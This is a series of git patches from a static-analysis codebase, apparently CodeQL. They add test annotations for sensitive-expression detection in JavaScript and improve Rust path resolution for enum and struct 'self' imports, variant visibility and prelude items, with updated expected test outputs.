b/javascript/ql/test/library-tests/SensitiveActions/tests.qlref new file mode 100644 index 00000000000..8581a3f8b74 --- /dev/null +++ b/javascript/ql/test/library-tests/SensitiveActions/tests.qlref @@ -0,0 +1,2 @@ +query: tests.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/SensitiveActions/tst.js b/javascript/ql/test/library-tests/SensitiveActions/tst.js index c4a627b742c..c6fa5aa873b 100644 --- a/javascript/ql/test/library-tests/SensitiveActions/tst.js +++ b/javascript/ql/test/library-tests/SensitiveActions/tst.js @@ -1,11 +1,11 @@ -password; -PassWord; -myPasswordInCleartext; -x.password; -getPassword(); -x.getPassword(); -get("password"); -x.get("password"); +password; // $ cleartextPasswordExpr sensitiveExpr=password +PassWord; // $ cleartextPasswordExpr sensitiveExpr=password +myPasswordInCleartext; // $ cleartextPasswordExpr sensitiveExpr=password +x.password; // $ cleartextPasswordExpr sensitiveExpr=password +getPassword(); // $ cleartextPasswordExpr sensitiveExpr=password +x.getPassword(); // $ cleartextPasswordExpr sensitiveExpr=password +get("password"); // $ cleartextPasswordExpr sensitiveExpr=password +x.get("password"); // $ cleartextPasswordExpr sensitiveExpr=password hashed_password; password_hashed; @@ -15,13 +15,13 @@ hashedPassword; var exit = require('exit'); var e = process.exit; -e(); -exit(); +e(); // $ processTermination sensitiveAction +exit(); // $ processTermination sensitiveAction -secret; +secret; // $ sensitiveExpr=secret -require("process").exit(); -global.process.exit(); +require("process").exit(); // $ processTermination sensitiveAction +global.process.exit(); // $ processTermination sensitiveAction get("https://example.com/news?password=true") get("https://username:password@example.com") From a53f664e85e82b8da1cc916fcf36006228399c91 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 3 Apr 2025 14:33:02 +0200 Subject: [PATCH 267/282] Rust: Fix bad join --- .../rust/elements/internal/FunctionImpl.qll | 25 +++++++++++++++++++ rust/ql/lib/utils/test/InlineMadTest.qll | 2 +- .../type-inference/type-inference.ql | 4 +-- 3 files changed, 28 insertions(+), 3 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll index 594dbaa0bf5..67bd0a4eee9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FunctionImpl.qll @@ -4,6 +4,7 @@ * INTERNAL: Do not use. */ +private import codeql.files.FileSystem private import codeql.rust.elements.internal.generated.Function private import codeql.rust.elements.Comment @@ -28,6 +29,30 @@ module Impl { class Function extends Generated::Function { override string toStringImpl() { result = "fn " + this.getName().getText() } + pragma[nomagic] + private predicate hasPotentialCommentAt(File f, int line) { + f = this.getLocation().getFile() and + // When a function is preceded by comments its start line is the line of + // the first comment. Hence all relevant comments are found by including + // comments from the start line and up to the line with the function + // name. + line in [this.getLocation().getStartLine() .. this.getName().getLocation().getStartLine()] + } + + /** + * Gets a comment preceding this function. + * + * A comment is considered preceding if it occurs immediately before this + * function or if only other comments occur between the comment and this + * function. + */ + Comment getAPrecedingComment() { + exists(File f, int line | + this.hasPotentialCommentAt(f, line) and + result.getLocation().hasLocationFileInfo(f, line, _, _, _) + ) + } + /** * Gets a comment preceding this function. * diff --git a/rust/ql/lib/utils/test/InlineMadTest.qll b/rust/ql/lib/utils/test/InlineMadTest.qll index 00000060ab6..ed21ab1f8b1 100644 --- a/rust/ql/lib/utils/test/InlineMadTest.qll +++ b/rust/ql/lib/utils/test/InlineMadTest.qll @@ -5,7 +5,7 @@ private module InlineMadTestLang implements InlineMadTestLangSig { class Callable = R::Function; string getComment(R::Function callable) { - result = callable.getPrecedingComment().getCommentText() + result = callable.getAPrecedingComment().getCommentText() } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index b0e47e7f574..d683e7d75d8 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -11,9 +11,9 @@ module ResolveTest implements TestSig { string getARelevantTag() { result = ["method", "fieldof"] } private predicate functionHasValue(Function f, string value) { - f.getPrecedingComment().getCommentText() = value + f.getAPrecedingComment().getCommentText() = value or - not exists(f.getPrecedingComment()) and + not exists(f.getAPrecedingComment()) and value = f.getName().getText() } From e6c7ad8ee0b3ff9a94e73588d77779cdef811b7b Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 3 Apr 2025 14:34:23 +0200 Subject: [PATCH 268/282] Rust: Add comment as suggested in review --- rust/ql/test/library-tests/type-inference/type-inference.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index d683e7d75d8..d83900e5840 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -14,6 +14,7 @@ module ResolveTest implements TestSig { f.getAPrecedingComment().getCommentText() = value or not exists(f.getAPrecedingComment()) and + // TODO: Default to canonical path once that is available value = f.getName().getText() } From 3bfb4fbd8dd323d26253a7fcfc69b537b0d62bf6 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 10:59:48 +0200 Subject: [PATCH 269/282] Rust: More path resolution tests --- .../library-tests/path-resolution/main.rs | 27 ++++ .../path-resolution/path-resolution.expected | 129 ++++++++++-------- 2 files changed, 97 insertions(+), 59 deletions(-) diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 374f290b00e..c6235ae780e 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -493,6 +493,33 @@ mod m18 { } } +mod m21 { + mod m22 { + pub enum MyEnum { + A, // I104 + } // I105 + + pub struct MyStruct; // I106 + } // I107 + + mod m33 { + #[rustfmt::skip] + use super::m22::MyEnum::{ // $ item=I105 + self // $ MISSING: item=I105 $ SPURIOUS: item=I107 + }; + + #[rustfmt::skip] + use super::m22::MyStruct::{ // $ item=I106 + self // $ MISSING: item=I106 $ SPURIOUS: item=I107 + }; + + fn f() { + let _ = MyEnum::A; // $ MISSING: item=I104 + let _ = MyStruct {}; // $ MISSING: item=I106 + } + } +} + fn main() { my::nested::nested1::nested2::f(); // $ item=I4 my::f(); // $ item=I38 diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 235ad7451c5..4fdb0d7843b 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -24,6 +24,9 @@ mod | main.rs:476:1:494:1 | mod m18 | | main.rs:481:5:493:5 | mod m19 | | main.rs:486:9:492:9 | mod m20 | +| main.rs:496:1:521:1 | mod m21 | +| main.rs:497:5:503:5 | mod m22 | +| main.rs:505:5:520:5 | mod m33 | | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:12:1:12:12 | mod my3 | | my2/nested2.rs:1:1:11:1 | mod nested3 | @@ -56,7 +59,7 @@ resolvePath | main.rs:30:17:30:21 | super | main.rs:18:5:36:5 | mod m2 | | main.rs:30:17:30:24 | ...::f | main.rs:19:9:21:9 | fn f | | main.rs:33:17:33:17 | f | main.rs:19:9:21:9 | fn f | -| main.rs:40:9:40:13 | super | main.rs:1:1:523:2 | SourceFile | +| main.rs:40:9:40:13 | super | main.rs:1:1:550:2 | SourceFile | | main.rs:40:9:40:17 | ...::m1 | main.rs:13:1:37:1 | mod m1 | | main.rs:40:9:40:21 | ...::m2 | main.rs:18:5:36:5 | mod m2 | | main.rs:40:9:40:24 | ...::g | main.rs:23:9:27:9 | fn g | @@ -68,7 +71,7 @@ resolvePath | main.rs:61:17:61:19 | Foo | main.rs:59:9:59:21 | struct Foo | | main.rs:64:13:64:15 | Foo | main.rs:53:5:53:17 | struct Foo | | main.rs:66:5:66:5 | f | main.rs:55:5:62:5 | fn f | -| main.rs:68:5:68:8 | self | main.rs:1:1:523:2 | SourceFile | +| main.rs:68:5:68:8 | self | main.rs:1:1:550:2 | SourceFile | | main.rs:68:5:68:11 | ...::i | main.rs:71:1:83:1 | fn i | | main.rs:74:13:74:15 | Foo | main.rs:48:1:48:13 | struct Foo | | main.rs:81:17:81:19 | Foo | main.rs:77:9:79:9 | struct Foo | @@ -82,7 +85,7 @@ resolvePath | main.rs:87:57:87:66 | ...::g | my2/nested2.rs:7:9:9:9 | fn g | | main.rs:87:80:87:86 | nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | | main.rs:100:5:100:22 | f_defined_in_macro | main.rs:99:18:99:42 | fn f_defined_in_macro | -| main.rs:117:13:117:17 | super | main.rs:1:1:523:2 | SourceFile | +| main.rs:117:13:117:17 | super | main.rs:1:1:550:2 | SourceFile | | main.rs:117:13:117:21 | ...::m5 | main.rs:103:1:107:1 | mod m5 | | main.rs:118:9:118:9 | f | main.rs:104:5:106:5 | fn f | | main.rs:118:9:118:9 | f | main.rs:110:5:112:5 | fn f | @@ -220,61 +223,69 @@ resolvePath | main.rs:490:17:490:21 | super | main.rs:481:5:493:5 | mod m19 | | main.rs:490:17:490:28 | ...::super | main.rs:476:1:494:1 | mod m18 | | main.rs:490:17:490:31 | ...::f | main.rs:477:5:479:5 | fn f | -| main.rs:497:5:497:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:497:5:497:14 | ...::nested | my.rs:1:1:1:15 | mod nested | -| main.rs:497:5:497:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | -| main.rs:497:5:497:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | -| main.rs:497:5:497:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | -| main.rs:498:5:498:6 | my | main.rs:1:1:1:7 | mod my | -| main.rs:498:5:498:9 | ...::f | my.rs:5:1:7:1 | fn f | -| main.rs:499:5:499:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | -| main.rs:499:5:499:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | -| main.rs:499:5:499:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | -| main.rs:499:5:499:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:500:5:500:5 | f | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:501:5:501:5 | g | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:502:5:502:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | -| main.rs:502:5:502:12 | ...::h | main.rs:50:1:69:1 | fn h | -| main.rs:503:5:503:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:503:5:503:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:503:5:503:13 | ...::g | main.rs:23:9:27:9 | fn g | -| main.rs:504:5:504:6 | m1 | main.rs:13:1:37:1 | mod m1 | -| main.rs:504:5:504:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | -| main.rs:504:5:504:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | -| main.rs:504:5:504:17 | ...::h | main.rs:30:27:34:13 | fn h | -| main.rs:505:5:505:6 | m4 | main.rs:39:1:46:1 | mod m4 | -| main.rs:505:5:505:9 | ...::i | main.rs:42:5:45:5 | fn i | -| main.rs:506:5:506:5 | h | main.rs:50:1:69:1 | fn h | -| main.rs:507:5:507:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | -| main.rs:508:5:508:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | -| main.rs:509:5:509:5 | j | main.rs:97:1:101:1 | fn j | -| main.rs:510:5:510:6 | m6 | main.rs:109:1:120:1 | mod m6 | -| main.rs:510:5:510:9 | ...::g | main.rs:114:5:119:5 | fn g | -| main.rs:511:5:511:6 | m7 | main.rs:122:1:137:1 | mod m7 | -| main.rs:511:5:511:9 | ...::f | main.rs:129:5:136:5 | fn f | -| main.rs:512:5:512:6 | m8 | main.rs:139:1:193:1 | mod m8 | -| main.rs:512:5:512:9 | ...::g | main.rs:177:5:192:5 | fn g | -| main.rs:513:5:513:6 | m9 | main.rs:195:1:203:1 | mod m9 | -| main.rs:513:5:513:9 | ...::f | main.rs:198:5:202:5 | fn f | -| main.rs:514:5:514:7 | m11 | main.rs:226:1:263:1 | mod m11 | -| main.rs:514:5:514:10 | ...::f | main.rs:231:5:234:5 | fn f | -| main.rs:515:5:515:7 | m15 | main.rs:294:1:348:1 | mod m15 | -| main.rs:515:5:515:10 | ...::f | main.rs:335:5:347:5 | fn f | -| main.rs:516:5:516:7 | m16 | main.rs:350:1:442:1 | mod m16 | -| main.rs:516:5:516:10 | ...::f | main.rs:417:5:441:5 | fn f | -| main.rs:517:5:517:7 | m17 | main.rs:444:1:474:1 | mod m17 | -| main.rs:517:5:517:10 | ...::f | main.rs:468:5:473:5 | fn f | -| main.rs:518:5:518:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | -| main.rs:518:5:518:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | -| main.rs:519:5:519:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | -| main.rs:519:5:519:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | -| main.rs:520:5:520:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | -| main.rs:520:5:520:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | -| main.rs:521:5:521:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | -| main.rs:522:5:522:7 | m18 | main.rs:476:1:494:1 | mod m18 | -| main.rs:522:5:522:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | -| main.rs:522:5:522:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | -| main.rs:522:5:522:20 | ...::g | main.rs:487:13:491:13 | fn g | +| main.rs:507:13:507:17 | super | main.rs:496:1:521:1 | mod m21 | +| main.rs:507:13:507:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | +| main.rs:507:13:507:30 | ...::MyEnum | main.rs:498:9:500:9 | enum MyEnum | +| main.rs:508:13:508:16 | self | main.rs:497:5:503:5 | mod m22 | +| main.rs:512:13:512:17 | super | main.rs:496:1:521:1 | mod m21 | +| main.rs:512:13:512:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | +| main.rs:512:13:512:32 | ...::MyStruct | main.rs:502:9:502:28 | struct MyStruct | +| main.rs:513:13:513:16 | self | main.rs:497:5:503:5 | mod m22 | +| main.rs:524:5:524:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:524:5:524:14 | ...::nested | my.rs:1:1:1:15 | mod nested | +| main.rs:524:5:524:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | +| main.rs:524:5:524:32 | ...::nested2 | my/nested.rs:2:5:11:5 | mod nested2 | +| main.rs:524:5:524:35 | ...::f | my/nested.rs:3:9:5:9 | fn f | +| main.rs:525:5:525:6 | my | main.rs:1:1:1:7 | mod my | +| main.rs:525:5:525:9 | ...::f | my.rs:5:1:7:1 | fn f | +| main.rs:526:5:526:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | +| main.rs:526:5:526:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | +| main.rs:526:5:526:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | +| main.rs:526:5:526:32 | ...::f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:527:5:527:5 | f | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:528:5:528:5 | g | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:529:5:529:9 | crate | main.rs:0:0:0:0 | Crate(main@0.0.1) | +| main.rs:529:5:529:12 | ...::h | main.rs:50:1:69:1 | fn h | +| main.rs:530:5:530:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:530:5:530:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:530:5:530:13 | ...::g | main.rs:23:9:27:9 | fn g | +| main.rs:531:5:531:6 | m1 | main.rs:13:1:37:1 | mod m1 | +| main.rs:531:5:531:10 | ...::m2 | main.rs:18:5:36:5 | mod m2 | +| main.rs:531:5:531:14 | ...::m3 | main.rs:29:9:35:9 | mod m3 | +| main.rs:531:5:531:17 | ...::h | main.rs:30:27:34:13 | fn h | +| main.rs:532:5:532:6 | m4 | main.rs:39:1:46:1 | mod m4 | +| main.rs:532:5:532:9 | ...::i | main.rs:42:5:45:5 | fn i | +| main.rs:533:5:533:5 | h | main.rs:50:1:69:1 | fn h | +| main.rs:534:5:534:11 | f_alias | my2/nested2.rs:3:9:5:9 | fn f | +| main.rs:535:5:535:11 | g_alias | my2/nested2.rs:7:9:9:9 | fn g | +| main.rs:536:5:536:5 | j | main.rs:97:1:101:1 | fn j | +| main.rs:537:5:537:6 | m6 | main.rs:109:1:120:1 | mod m6 | +| main.rs:537:5:537:9 | ...::g | main.rs:114:5:119:5 | fn g | +| main.rs:538:5:538:6 | m7 | main.rs:122:1:137:1 | mod m7 | +| main.rs:538:5:538:9 | ...::f | main.rs:129:5:136:5 | fn f | +| main.rs:539:5:539:6 | m8 | main.rs:139:1:193:1 | mod m8 | +| main.rs:539:5:539:9 | ...::g | main.rs:177:5:192:5 | fn g | +| main.rs:540:5:540:6 | m9 | main.rs:195:1:203:1 | mod m9 | +| main.rs:540:5:540:9 | ...::f | main.rs:198:5:202:5 | fn f | +| main.rs:541:5:541:7 | m11 | main.rs:226:1:263:1 | mod m11 | +| main.rs:541:5:541:10 | ...::f | main.rs:231:5:234:5 | fn f | +| main.rs:542:5:542:7 | m15 | main.rs:294:1:348:1 | mod m15 | +| main.rs:542:5:542:10 | ...::f | main.rs:335:5:347:5 | fn f | +| main.rs:543:5:543:7 | m16 | main.rs:350:1:442:1 | mod m16 | +| main.rs:543:5:543:10 | ...::f | main.rs:417:5:441:5 | fn f | +| main.rs:544:5:544:7 | m17 | main.rs:444:1:474:1 | mod m17 | +| main.rs:544:5:544:10 | ...::f | main.rs:468:5:473:5 | fn f | +| main.rs:545:5:545:11 | nested6 | my2/nested2.rs:14:5:18:5 | mod nested6 | +| main.rs:545:5:545:14 | ...::f | my2/nested2.rs:15:9:17:9 | fn f | +| main.rs:546:5:546:11 | nested8 | my2/nested2.rs:22:5:26:5 | mod nested8 | +| main.rs:546:5:546:14 | ...::f | my2/nested2.rs:23:9:25:9 | fn f | +| main.rs:547:5:547:7 | my3 | my2/mod.rs:12:1:12:12 | mod my3 | +| main.rs:547:5:547:10 | ...::f | my2/my3/mod.rs:1:1:5:1 | fn f | +| main.rs:548:5:548:12 | nested_f | my/my4/my5/mod.rs:1:1:3:1 | fn f | +| main.rs:549:5:549:7 | m18 | main.rs:476:1:494:1 | mod m18 | +| main.rs:549:5:549:12 | ...::m19 | main.rs:481:5:493:5 | mod m19 | +| main.rs:549:5:549:17 | ...::m20 | main.rs:486:9:492:9 | mod m20 | +| main.rs:549:5:549:20 | ...::g | main.rs:487:13:491:13 | fn g | | my2/mod.rs:5:5:5:11 | nested2 | my2/mod.rs:1:1:1:16 | mod nested2 | | my2/mod.rs:5:5:5:20 | ...::nested3 | my2/nested2.rs:1:1:11:1 | mod nested3 | | my2/mod.rs:5:5:5:29 | ...::nested4 | my2/nested2.rs:2:5:10:5 | mod nested4 | @@ -288,7 +299,7 @@ resolvePath | my2/my3/mod.rs:3:5:3:5 | g | my2/mod.rs:3:1:6:1 | fn g | | my2/my3/mod.rs:4:5:4:5 | h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:7:5:7:9 | super | my2/mod.rs:1:1:12:13 | SourceFile | -| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:523:2 | SourceFile | +| my2/my3/mod.rs:7:5:7:16 | ...::super | main.rs:1:1:550:2 | SourceFile | | my2/my3/mod.rs:7:5:7:19 | ...::h | main.rs:50:1:69:1 | fn h | | my2/my3/mod.rs:8:5:8:9 | super | my2/mod.rs:1:1:12:13 | SourceFile | | my2/my3/mod.rs:8:5:8:12 | ...::g | my2/mod.rs:3:1:6:1 | fn g | From f09c3c5813f00810c76b0267e0e173e5ce53b0f1 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 11:14:07 +0200 Subject: [PATCH 270/282] Rust: Handle `self` enum/struct uses --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 4 +++- rust/ql/test/library-tests/path-resolution/main.rs | 6 +++--- .../library-tests/path-resolution/path-resolution.expected | 6 ++++-- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index ea4e4774d8b..9d0829f95a0 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -181,7 +181,9 @@ abstract class ItemNode extends Locatable { else result = this.getImmediateParentModule().getImmediateParentModule() or name = "self" and - if this instanceof Module then result = this else result = this.getImmediateParentModule() + if this instanceof Module or this instanceof Enum or this instanceof Struct + then result = this + else result = this.getImmediateParentModule() or name = "Self" and this = result.(ImplOrTraitItemNode).getAnItemInSelfScope() diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index c6235ae780e..bbbb7006401 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -505,17 +505,17 @@ mod m21 { mod m33 { #[rustfmt::skip] use super::m22::MyEnum::{ // $ item=I105 - self // $ MISSING: item=I105 $ SPURIOUS: item=I107 + self // $ item=I105 }; #[rustfmt::skip] use super::m22::MyStruct::{ // $ item=I106 - self // $ MISSING: item=I106 $ SPURIOUS: item=I107 + self // $ item=I106 }; fn f() { let _ = MyEnum::A; // $ MISSING: item=I104 - let _ = MyStruct {}; // $ MISSING: item=I106 + let _ = MyStruct {}; // $ item=I106 } } } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index 4fdb0d7843b..f012a7488b8 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -226,11 +226,13 @@ resolvePath | main.rs:507:13:507:17 | super | main.rs:496:1:521:1 | mod m21 | | main.rs:507:13:507:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | | main.rs:507:13:507:30 | ...::MyEnum | main.rs:498:9:500:9 | enum MyEnum | -| main.rs:508:13:508:16 | self | main.rs:497:5:503:5 | mod m22 | +| main.rs:508:13:508:16 | self | main.rs:498:9:500:9 | enum MyEnum | | main.rs:512:13:512:17 | super | main.rs:496:1:521:1 | mod m21 | | main.rs:512:13:512:22 | ...::m22 | main.rs:497:5:503:5 | mod m22 | | main.rs:512:13:512:32 | ...::MyStruct | main.rs:502:9:502:28 | struct MyStruct | -| main.rs:513:13:513:16 | self | main.rs:497:5:503:5 | mod m22 | +| main.rs:513:13:513:16 | self | main.rs:502:9:502:28 | struct MyStruct | +| main.rs:517:21:517:26 | MyEnum | main.rs:498:9:500:9 | enum MyEnum | +| main.rs:518:21:518:28 | MyStruct | main.rs:502:9:502:28 | struct MyStruct | | main.rs:524:5:524:6 | my | main.rs:1:1:1:7 | mod my | | main.rs:524:5:524:14 | ...::nested | my.rs:1:1:1:15 | mod nested | | main.rs:524:5:524:23 | ...::nested1 | my/nested.rs:1:1:17:1 | mod nested1 | From 4b3816e14edcb4c6f70c3ae74d186c4b6e79e1d6 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 11:20:18 +0200 Subject: [PATCH 271/282] Rust: Variants inherit visibility from their parent enum --- rust/ql/lib/codeql/rust/internal/PathResolution.qll | 2 +- rust/ql/test/library-tests/path-resolution/main.rs | 2 +- .../test/library-tests/path-resolution/path-resolution.expected | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 9d0829f95a0..27fa622ff70 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -321,7 +321,7 @@ private class VariantItemNode extends ItemNode instanceof Variant { result = super.getEnum().getGenericParamList().getTypeParam(i) } - override Visibility getVisibility() { result = Variant.super.getVisibility() } + override Visibility getVisibility() { result = super.getEnum().getVisibility() } } class FunctionItemNode extends AssocItemNode instanceof Function { diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index bbbb7006401..3d54b1a4b6a 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -514,7 +514,7 @@ mod m21 { }; fn f() { - let _ = MyEnum::A; // $ MISSING: item=I104 + let _ = MyEnum::A; // $ item=I104 let _ = MyStruct {}; // $ item=I106 } } diff --git a/rust/ql/test/library-tests/path-resolution/path-resolution.expected b/rust/ql/test/library-tests/path-resolution/path-resolution.expected index f012a7488b8..a7ead02db84 100644 --- a/rust/ql/test/library-tests/path-resolution/path-resolution.expected +++ b/rust/ql/test/library-tests/path-resolution/path-resolution.expected @@ -232,6 +232,7 @@ resolvePath | main.rs:512:13:512:32 | ...::MyStruct | main.rs:502:9:502:28 | struct MyStruct | | main.rs:513:13:513:16 | self | main.rs:502:9:502:28 | struct MyStruct | | main.rs:517:21:517:26 | MyEnum | main.rs:498:9:500:9 | enum MyEnum | +| main.rs:517:21:517:29 | ...::A | main.rs:499:13:499:13 | A | | main.rs:518:21:518:28 | MyStruct | main.rs:502:9:502:28 | struct MyStruct | | main.rs:524:5:524:6 | my | main.rs:1:1:1:7 | mod my | | main.rs:524:5:524:14 | ...::nested | my.rs:1:1:1:15 | mod nested | From f4e93826221c7a0bbeb4ffab81d2687d5c794961 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 31 Mar 2025 11:20:44 +0200 Subject: [PATCH 272/282] Rust: Take prelude into account when resolving paths --- .../hello-project/summary.expected | 2 +- .../hello-workspace/summary.cargo.expected | 2 +- .../summary.rust-project.expected | 2 +- .../codeql/rust/dataflow/internal/Content.qll | 2 - .../rust/dataflow/internal/DataFlowImpl.qll | 134 +----------------- .../dataflow/internal/FlowSummaryImpl.qll | 21 ++- .../rust/elements/internal/EnumImpl.qll | 9 ++ .../rust/elements/internal/PathImpl.qll | 12 ++ .../codeql/rust/frameworks/stdlib/Stdlib.qll | 45 ++++++ .../lib/codeql/rust/internal/CachedStages.qll | 35 ++++- .../codeql/rust/internal/PathResolution.qll | 120 +++++++++++++--- .../internal/PathResolutionConsistency.qll | 8 +- rust/ql/lib/codeql/rust/internal/Type.qll | 2 +- .../codeql/rust/internal/TypeInference.qll | 2 +- .../PathResolutionConsistency.expected | 2 +- .../PathResolutionConsistency.expected | 2 +- .../PathResolutionConsistency.expected | 3 - .../path-resolution/path-resolution.ql | 4 +- .../diagnostics/SummaryStats.expected | 2 +- 19 files changed, 237 insertions(+), 172 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index 1dd49972c22..a4b0d0a1641 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | +| Taint edges - number of edges | 1691 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index baaba2837e7..564cbfd7bc9 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | +| Taint edges - number of edges | 1691 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index baaba2837e7..564cbfd7bc9 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | +| Taint edges - number of edges | 1691 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll index ccdf8c763ca..95a5fa98bb4 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/Content.qll @@ -255,8 +255,6 @@ cached newtype TContent = TTupleFieldContent(TupleField field) { Stages::DataFlowStage::ref() } or TStructFieldContent(StructField field) or - // TODO: Remove once library types are extracted - TVariantInLibTupleFieldContent(VariantInLib::VariantInLib v, int pos) { pos = 